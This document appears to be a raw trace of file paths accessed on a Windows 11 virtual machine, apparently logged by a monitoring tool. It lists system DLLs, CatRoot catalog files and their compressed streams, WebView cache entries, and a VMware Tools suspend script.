\Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat"" \Device\HarddiskVolume3\Windows\System32\conhost.exe \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e\??\C:\WINDOWS\system32\conhost.exe 0x4 Ne\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\0ce334799d7d3fce_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\2d87b4669040b62f_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\f9a2cf96bff9d474_1 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryBroker.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryBroker.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.UI.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\windows.applicationmodel.datatransfer.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\windows.applicationmodel.datatransfer.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\windows.applicationmodel.datatransfer.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\fvecerts.dll \Device\HarddiskVolume3\Windows\System32\fvecerts.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\fvecerts.dll \Device\HarddiskVolume3\Windows\System32\fvecerts.dll \Device\HarddiskVolume3\Windows\System32\fvecerts.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\16715052ad6a00c2_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\d88917e7cb38c29f_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\af6992942c586809_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\80cb3ae989cf007a_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\5853adf8a0bbbe54_0 \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.Web.Core.dll \Device\HarddiskVolume3\Windows\System32\vaultcli.dll \Device\HarddiskVolume3\Windows\System32\MicrosoftAccountWAMExtension.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 